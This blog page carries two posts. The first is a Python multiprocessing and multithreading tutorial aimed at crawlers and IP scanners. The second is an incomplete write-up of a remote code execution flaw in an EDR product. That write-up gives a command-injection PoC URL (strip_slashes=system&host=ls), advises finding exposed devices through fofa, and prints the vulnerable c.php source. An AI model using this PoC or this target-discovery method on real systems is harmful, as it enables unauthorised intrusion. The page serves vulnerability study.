<p>Q: 多进程和多线程的作用和区别?<br>A: 进程由一个或多个线程组成,线程是CPU调度的基本单位,同一进程的线程共享一块内存空间。不同进程有独立的的内存空间。<br>正是由于所在地址空间的不同,或者说其占用的资源不同,造成了进程和线程的区别。<br>同一进程的线程共享其内存空间里的资源,所以其线程调度、线程间通信、变量的共享更方便快捷。不同进程的地址空间不同,因此其进程间通信、变量共享、调度就更复杂。<br>由于多线程共享一个内存空间,所以当一个线程非正常退出时,整个进程都会退出。多进程内存空间独立,所以互不影响</p>
<table>
<thead>
<tr>
<th align="center"></th>
<th align="center">多线程</th>
<th align="center">多进程</th>
</tr>
</thead>
<tbody><tr>
<td align="center">运行速度</td>
<td align="center">快</td>
<td align="center">快</td>
</tr>
<tr>
<td align="center">通信和共享数据</td>
<td align="center">方便</td>
<td align="center">复杂</td>
</tr>
<tr>
<td align="center">创建、维护和调度的时空开销</td>
<td align="center">小</td>
<td align="center">大</td>
</tr>
</tbody></table>
<hr>
<p>Q:什么是并发?什么是并行?同步和异步? </p>
<ul>
<li>并发:同一时间段内多个进程或线程一起执行</li>
<li>并行:同一时刻有多个线程或进程一起执行</li>
<li>同步:任务需要等待(同步)前一个任务的结果才能执行</li>
<li>异步:任务独立执行,互相不影响</li>
</ul>
<h1 id="0x03-Python中的多进程"><a href="#0x03-Python中的多进程" class="headerlink" title="0x03 Python中的多进程"></a>0x03 Python中的多进程</h1><p>python设计了GIL锁,通过线程互斥来保证线程间的数据安全。由于python中线程是互斥的,在多核CPU下多线程的python程序事实上也只是并发而不是并行的,因此理论上来说多进程更能发挥多核的优势,当然这里是忽略了内存使用和进程创建维护和调度等开销。但是多线程和多进程到底谁更好,主要看所运行的是那种程序。</p>
<ul>
<li>对于CPU密集型程序如计算和循环,多进程更能发挥多核的优势,因为逻辑计算需要CPU工作</li>
<li>对于IO密集型程序如文件读写,多线程更有效率,因为大部分时间是文件读写,CPU并不参与工作,与其把大把资源和时间花在多进程的创建和调度,还不如让多线程发挥调度快的优势</li>
</ul>
<hr>
<p>对于爬虫来说,大部分时间应该是花在等待远端服务器响应,并不需要CPU频繁计算,所以多核和单核操作对其影响不大,然而考虑到多进程需要相当多的系统资源(如果将进程数开的很高,会导致报错页内存不足)实际上如果你尝试分别跑50个线程和50个进程,会发现他们执行时间差不多。但是如果你尝试开300个线程和300个进程比较,会发现300个线程速度快了不少,但是300个进程可能根本跑不起来。所以多线程应该效率更高。当然多线程的效率受限于你的电脑核数,也就是说可能500线程和500以上的线程跑的时间是差不多的</p>
<p>常见的爬虫场景如读取IP列表进行批量测试,直接传入单个ip作为参数。这样函数逻辑简单</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="string">"""multiprocessing实现多进程,无需加锁"""</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">func</span><span class="params">(url)</span>:</span></span><br><span class="line"> xxx </span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> p = Pool(<span class="number">4</span>) <span class="comment"># 设置进程池中的最大进程数</span></span><br><span class="line"> <span class="keyword">for</span> url <span class="keyword">in</span> lst: <span class="comment"># 给每个进程传入一个url作为参数</span></span><br><span class="line"> p.apply_async(func, [url]) <span class="comment">#apply_async是非阻塞的,需要用join来阻塞主进程. 如果函数有多个参数,用元组()传入。如果是单个参数用[]传入</span></span><br><span class="line"> p.close()</span><br><span class="line"> p.join() <span class="comment"># 阻塞主进程,防止主进程先于子进程结束</span></span><br></pre></td></tr></table></figure>
<p>当然也可以将整个list传入函数,然后在函数内部手动处理临界区加锁的操作,但是会比较复制和容易出错。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">一个进程池加锁的模板</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="keyword">from</span> multiprocessing <span class="keyword">import</span> Pool, Manager</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">func</span><span class="params">(lst, lock)</span>:</span></span><br><span class="line"> <span class="keyword">while</span>(xxx) <span class="comment"># 进程退出的条件</span></span><br><span class="line"> lock.acquire() <span class="comment"># 加锁</span></span><br><span class="line"> xxx <span class="comment"># 临界区</span></span><br><span class="line"> lock.release() <span class="comment"># 解锁</span></span><br><span class="line"> xxx</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> lst = Manager().list() <span class="comment"># 可供多进程使用的列表 </span></span><br><span class="line"> lock = Manager.Lock() <span class="comment"># 进程锁</span></span><br><span class="line"> p = Pool(<span class="number">4</span>) <span class="comment"># 进程池</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">4</span>):</span><br><span class="line"> p.apply_async(func, (lst, lock)) <span class="comment"># 如果函数有多个参数,用元组()传入。如果是单个参数用[]传入</span></span><br><span class="line"> p.close()</span><br><span class="line"> p.join()</span><br></pre></td></tr></table></figure>
<h2 id="为什么要加锁"><a href="#为什么要加锁" class="headerlink" title="为什么要加锁"></a>为什么要加锁</h2><p>多进程多线程通常会涉及到对共同资源的访问和使用,例如多个进程同时读取或者写入一个文件,同时访问一个列表等等,这些对公共资源访问的代码称为临界区。由于临界区代码的特殊性,我们常常需要限制对临界区的访问,也就是加锁。否则不同的进程和线程同时读取一个数据的时候就可能会出问题。对于操作系统来说,加锁实现的方式有很多,可以简单理解为关中断,即操作系统阻止该任务被中断,这样CPU就不会被别的任务抢去。例如,对于一个多进程的IP扫描器来说,为了充分利用网络资源,我们可以同时对多个IP进行尝试连接,在这种情况下就可以使用多进程或者多线程。但是这就带来一个问题,多个进程访问的是同一个IP列表,我们希望每个IP只被访问一次,那么如何保证并行的进程不会取到同一个IP呢?答案就是在每个进程从共享的IP列表中取出IP前,设置加锁,然后删除被取出的IP,最后解锁。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="string">临界区加锁bug代码</span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">req</span><span class="params">(lst, lock)</span>:</span></span><br><span class="line"> <span class="keyword">while</span>(len(str(lst))!=<span class="number">0</span>):</span><br><span class="line"> lock.acquire() </span><br><span class="line"> url = lst[<span class="number">0</span>]</span><br><span class="line"> lst.remove(lst[<span class="number">0</span>])</span><br><span class="line"> lock.release() </span><br><span class="line"> requests.get(url)</span><br></pre></td></tr></table></figure>
<p>我们的目的是多个进程竞争一个lst,要保证每个进程一直循环直到lst为空,因此while只能放在外层。<br>按照想法,只要在修改前加锁,修改后解锁即可。但这里可能会出现一种情况,即线程a完成了lst不为空的判断,正在临界区前等待。此时线程b正在临界区内,<br>线程b取出并删除了lst中的最后一个元素,解锁。然后线程a进入临界区尝试索引lst[0],进程a就会出错,整个程序无法退出。解决方案也很简单,只要在加锁后,通过if进行一次lst是否为空的判断即可</p>
<h1 id="0x04-Python中的多线程"><a href="#0x04-Python中的多线程" class="headerlink" title="0x04 Python中的多线程"></a>0x04 Python中的多线程</h1><p>Python3.2之后引入了一个新多进程和多线程的库concurrent.futures,相比python原本的多线程模块threading常常对于已经启动的线程无法单独操作,concurrent.futures可以获取某个线程或进程的返回值和状态。并且concurrent.future内多进程和多线程的接口基本一致,可以轻松切换</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="string">"""cocurrent.futures实现线程池"""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> concurrent.futures <span class="keyword">import</span> ThreadPoolExecutor, as_completed</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">func</span><span class="params">(url)</span>:</span></span><br><span class="line"> xxx</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line"> url_lst = []</span><br><span class="line"> <span class="keyword">with</span> ThreadPoolExecutor(max_workers=<span class="number">300</span>) <span class="keyword">as</span> tp: <span class="comment"># 设置最大线程数量为300</span></span><br><span class="line"> t_lst = [] <span class="comment"># 线程池列表t_lst</span></span><br><span class="line"> <span class="keyword">for</span> url <span class="keyword">in</span> url_lst: <span class="comment"># 给每个线程单独传参 </span></span><br><span class="line"> t = tp.summit(func, url) </span><br><span class="line"> t_lst.append(t)</span><br><span class="line"> <span class="keyword">for</span> future <span class="keyword">in</span> as_completed(t_lst): </span><br><span class="line"> result = future.result() <span class="comment"># result()可以获取每个线程的返回值</span></span><br></pre></td></tr></table></figure>
<p>这里依然采用了向每个线程的函数单独传参的方式,如果要换成多进程,只需将两处ThreadPoolExecutor换成ProcessPoolExecutor</p>
<h1 id="0x05-Python中多进程和多线程的一些坑"><a href="#0x05-Python中多进程和多线程的一些坑" class="headerlink" title="0x05 Python中多进程和多线程的一些坑"></a>0x05 Python中多进程和多线程的一些坑</h1><ul>
<li>临界区加锁稍不注意就容易出错,一般原则是对共享变量的一切修改或者判断前就要加锁</li>
<li>由于多进程并不分享各自的内存空间,因此无法使用一般的list和dict。如果要不同进程之间的共享变量是list或者dict,比如多个进程读取同一个list,则需要通过multiprocessing自带的Manager()来创建相关数据结构来进行管理</li>
<li>注意apply和apply_async一个是阻塞一个是不阻塞,async需要join来阻塞主进程防止其先于子进程结束</li>
<li>多个函数和单个函数传参不同,apply_async(func, [url]) apply_async(func, (url, lock)) 这个奇葩的函数传参</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block home" lang="en">
<link itemprop="mainEntityOfPage" href="https://quinzhi.github.io/2020/08/18/%E6%9F%90%E6%9C%8DEDR-RCE/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.jpg">
<meta itemprop="name" content="Quin">
<meta itemprop="description" content=""Just for fun"">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Quin's site">
</span>
<header class="post-header">
<h1 class="post-title" itemprop="name headline">
<a href="/2020/08/18/%E6%9F%90%E6%9C%8DEDR-RCE/" class="post-title-link" itemprop="url">某服EDR_RCE</a>
</h1>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-o"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2020-08-18 14:34:14" itemprop="dateCreated datePublished" datetime="2020-08-18T14:34:14+08:00">2020-08-18</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-calendar-check-o"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2020-08-28 21:20:12" itemprop="dateModified" datetime="2020-08-28T21:20:12+08:00">2020-08-28</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="fa fa-folder-o"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/" itemprop="url" rel="index"><span itemprop="name">漏洞分析</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="0x01-前言"><a href="#0x01-前言" class="headerlink" title="0x01 前言"></a>0x01 前言</h1><p>hw第一天,坊间开始流传某服的EDR爆出漏洞。网上一搜就有老哥发了poc,<br>直接get方法rce,复现无门槛,作为爱凑热闹的菜鸡,当然要试试。</p>
<h1 id="0x02-背景"><a href="#0x02-背景" class="headerlink" title="0x02 背景"></a>0x02 背景</h1><h2 id="什么是EDR"><a href="#什么是EDR" class="headerlink" title="什么是EDR"></a>什么是EDR</h2><p>EDR即终端检测响应平台,从官网简介中的【支持全类型终端的统一管理与集中策略下发】来看,EDR是一个内部终端管理平台,而这次的漏洞正存在于平台管理页面</p>
<h1 id="0x03-POC"><a href="#0x03-POC" class="headerlink" title="0x03 POC"></a>0x03 POC</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://XXX:xx/xxxx/xxx/c.php?strip_slashes=system&host=ls</span><br></pre></td></tr></table></figure>
<p>从poc来看,问题出在c.php,不过这名字起的真像个后门</p>
<h1 id="0x04-复现"><a href="#0x04-复现" class="headerlink" title="0x04 复现"></a>0x04 复现</h1><h2 id="目标发现"><a href="#目标发现" class="headerlink" title="目标发现"></a>目标发现</h2><p>国内的设备发现自然首选fofa,直接搜索【某服】就能弹出某服EDR设备的搜索项,简单方便,比那些自己贴http指纹的不知道高到哪里去了。</p>
<h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><p>直接上poc,一发入魂,当然最重要的还是看看到底是什么在搞鬼</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://XXX:xx/xxxx/xxx/c.php?strip_slashes=system&host=more c.php</span><br></pre></td></tr></table></figure>
<p>浏览器渲染过的肯定不好看,右键查看源代码就方便扣出实际的c.php里的文件内容了</p>
<h1 id="0x05-漏洞分析"><a href="#0x05-漏洞分析" class="headerlink" title="0x05 漏洞分析"></a>0x05 漏洞分析</h1><p>c.php的内容如下:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br></pre></td><td class="code"><pre><span class="line">::::::::::::::</span><br><span class="line">c.php</span><br><span class="line">::::::::::::::</span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * c.php</span></span><br><span class="line"><span class="comment"> * 查看ldb的日志</span></span><br><span class="line"><span class="comment"> * 支持正则表达式过滤,可以过滤文件以及每行日志</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> </span><br><span class="line">call_user_func(<span class="function"><span class="keyword">function</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 编解码</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $data 编解码数据</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> string 返回编解码数据</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $code = <span class="function"><span class="keyword">function</span><span class="params">($data)</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> ($i = <span class="number">0</span>; $i < strlen($data); ++$i) {</span><br><span class="line"> $data[$i] = $data[$i] ^ <span class="string">'G'</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $data;</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 加密请求</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $site 站点</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $query 请求串</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> string 返回请求URL</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $request = <span class="function"><span class="keyword">function</span><span class="params">($site, $query)</span> <span class="title">use</span><span class="params">(&$code)</span> </span>{</span><br><span class="line"> $path = base64_encode($code($query));</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"$site/$path"</span>;</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 解密回复</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $data 回复数据</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> array 返回回复数据</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $response = <span class="function"><span class="keyword">function</span><span class="params">($data)</span> <span class="title">use</span><span class="params">(&$code)</span> </span>{</span><br><span class="line"> $ret = json_decode($data, <span class="keyword">true</span>);</span><br><span class="line"> <span class="keyword">if</span> (is_null($ret)) {</span><br><span class="line"> $dec = $code(base64_decode($data));</span><br><span class="line"> $ret = json_decode($dec, <span class="keyword">true</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $ret;</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 找到匹配的日志</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $path 文件路径匹配</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $item 日志项匹配</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $topn TOP N </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $host 主机</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> array 返回匹配结果</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $collect = <span class="function"><span class="keyword">function</span><span class="params">($path, $item, $topn, $host)</span> <span class="title">use</span><span class="params">(&$request, &$response)</span> </span>{</span><br><span class="line"> $path = urlencode($path);</span><br><span class="line"> $item = urlencode($item);</span><br><span class="line"> $result = file_get_contents($request(<span class="string">"http://127.0.0.1:8089"</span>, <span class="string">"op=ll&host=$host&path=$path&item=$item&top=$topn"</span>));</span><br><span class="line"> <span class="keyword">return</span> $response($result);</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 显示某个表单域</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> array $info 表单域信息, array("name" => "xx", "value" => "xxx", "note" => "help");</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $show_input = <span class="function"><span class="keyword">function</span><span class="params">($info)</span> </span>{</span><br><span class="line"> extract($info);</span><br><span class="line"> $value = htmlentities($value);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<p><font size=2>$title: </font><input type=\"text\" size=30 id=\"$name\" name=\"$name\" value=\"$value\"><font size=2>$note</font></p>"</span>;</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 去掉反斜杠</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> string $var 值</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> string 返回去掉反斜杠的值</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $strip_slashes = <span class="function"><span class="keyword">function</span><span class="params">($var)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (!get_magic_quotes_gpc()) {</span><br><span class="line"> <span class="keyword">return</span> $var;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> stripslashes($var);</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 显示表单</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> array $params 请求参数</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $show_form = <span class="function"><span class="keyword">function</span><span class="params">($params)</span> <span class="title">use</span><span class="params">(&$strip_slashes, &$show_input)</span> </span>{</span><br><span class="line"> extract($params);</span><br><span class="line"> $host = <span class="keyword">isset</span>($host) ? $strip_slashes($host) : <span class="string">"127.0.0.1"</span>;</span><br><span class="line"> $path = <span class="keyword">isset</span>($path) ? $strip_slashes($path) : <span class="string">""</span>;</span><br><span class="line"> $row = <span class="keyword">isset</span>($row) ? $strip_slashes($row) : <span class="string">""</span>;</span><br><span class="line"> $limit = <span class="keyword">isset</span>($limit) ? $strip_slashes($limit) : <span class="number">1000</span>;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 绘制表单</span></span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre>"</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<form id="studio" name="studio" method="post" action="">'</span>;</span><br><span class="line"> $show_input(<span class="keyword">array</span>(<span class="string">"title"</span> => <span class="string">"Host "</span>, <span class="string">"name"</span> => <span class="string">"host"</span>, <span class="string">"value"</span> => $host, <span class="string">"note"</span> => <span class="string">" - host, e.g. 127.0.0.1"</span>));</span><br><span class="line"> $show_input(<span class="keyword">array</span>(<span class="string">"title"</span> => <span class="string">"Path "</span>, <span class="string">"name"</span> => <span class="string">"path"</span>, <span class="string">"value"</span> => $path, <span class="string">"note"</span> => <span class="string">" - path regex, e.g. mapreduce"</span>));</span><br><span class="line"> $show_input(<span class="keyword">array</span>(<span class="string">"title"</span> => <span class="string">"Row "</span>, <span class="string">"name"</span> => <span class="string">"row"</span>, <span class="string">"value"</span> => $row, <span class="string">"note"</span> => <span class="string">" - row regex, e.g. \s[w|e]\s"</span>));</span><br><span class="line"> $show_input(<span class="keyword">array</span>(<span class="string">"title"</span> => <span class="string">"Limit"</span>, <span class="string">"name"</span> => <span class="string">"limit"</span>, <span class="string">"value"</span> => $limit, <span class="string">"note"</span> => <span class="string">" - top n, e.g. 100"</span>));</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<input type="submit" id="button">'</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'</form>'</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"</pre>"</span>;</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 入口函数</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> array $argv 配置参数</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span></span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> $main = <span class="function"><span class="keyword">function</span><span class="params">($argv)</span> </span></span><br><span class="line"><span class="function"> <span class="title">use</span><span class="params">(&$collect)</span> </span>{</span><br><span class="line"> extract($argv);</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">isset</span>($limit)) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> $result = $collect($path, $row, $limit, $host);</span><br><span class="line"> <span class="keyword">if</span> (!is_array($result)) {</span><br><span class="line"> <span class="keyword">echo</span> $result, <span class="string">"\n"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">isset</span>($result[<span class="string">"success"</span>]) || $result[<span class="string">"success"</span>] !== <span class="keyword">true</span>) {</span><br><span class="line"> <span class="keyword">echo</span> $result, <span class="string">"\n"</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">foreach</span> ($result[<span class="string">"data"</span>] <span class="keyword">as</span> $host => $items) {</span><br><span class="line"> $last = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($items <span class="keyword">as</span> $item) {</span><br><span class="line"> <span class="keyword">if</span> ($item[<span class="string">"name"</span>] != $last) {</span><br><span class="line"> $last = $item[<span class="string">"name"</span>];</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"\n[$host] -> $last\n\n"</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">echo</span> $item[<span class="string">"item"</span>], <span class="string">"\n"</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> };</span><br><span class="line"> </span><br><span class="line"> set_time_limit(<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<html><head><meta http-equiv="Content-Type" Content="text/html; Charset=utf-8"></head>'</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">'<body bgcolor="#e8ddcb">'</span>;</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<p><b>Log Helper</b></p>"</span>;</span><br><span class="line"> $show_form($_REQUEST);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"<pre>"</span>;</span><br><span class="line"> $main($_REQUEST);</span><br><span class="line"> <span class="keyword">echo</span> <span class="string">"</pre>"</span>; </span><br><span class="line">});</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure>
<p>其中关键代码</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$show_form($_REQUEST); <span class="comment">// $_REQUEST可以获取以POST方法和GET方法提交的数据</span></span><br></pre></td></tr></table></figure>
